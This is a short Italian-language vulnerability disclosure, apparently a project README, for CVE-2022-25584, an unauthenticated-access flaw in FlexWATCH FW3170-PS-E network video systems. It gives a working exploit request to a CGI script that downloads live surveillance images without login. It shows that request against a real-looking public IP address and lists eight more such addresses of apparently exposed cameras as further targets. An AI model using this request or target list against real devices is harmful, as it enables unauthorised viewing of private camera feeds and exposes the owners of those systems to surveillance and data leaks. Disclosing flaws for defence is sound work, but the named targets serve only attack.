
Flexwatch-CVE
Flexwatch-CVE
Questo documento riguarda CVE-2022-25584 "RISERVATO"
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25584

Questa vulnerabilità è stata indicizzata da CNVD, ma non è stata ancora resa pubblica
CNVD ID:CNVD-2021-103443

Vulnerabilità da riprodurre:
Abbiamo scoperto che il sistema video di rete FlexWATCH FW3170-PS-E 4.23-3000_GY di proprietà di Seyeon Tech Co., Ltd. presenta una vulnerabilità di accesso non autenticato, che può essere sfruttata dagli aggressori per ottenere immagini di monitoraggio e perdere informazioni sensibili
Per esempio:
http://211.174.227.102:10001/app/multi/single.asp

Poi,possiamo visitare:http://211.174.227.102:10001/cgi-bin/fwcamimgsave.cgi?FwModId=0&PortId=0&FwCgiVer=0x0001
Scarica lo schermo in tempo reale del monitoraggio


Sito web ufficiale dell'azienda:http://www.flexwatch.com/
Altri casi:
http://211.240.10.38:10001/app/multi/single.asp
http://121.133.21.35:10001/app/multi/single.asp
http://210.223.145.159:10001/app/multi/single.asp
http://115.142.194.178:10001/app/multi/single.asp
http://115.142.194.178:10001/app/multi/single.asp
http://27.1.124.18:10001/app/multi/single.asp
http://183.100.61.196:10001/app/multi/single.asp
http://118.176.196.247:10001/app/multi/single.asp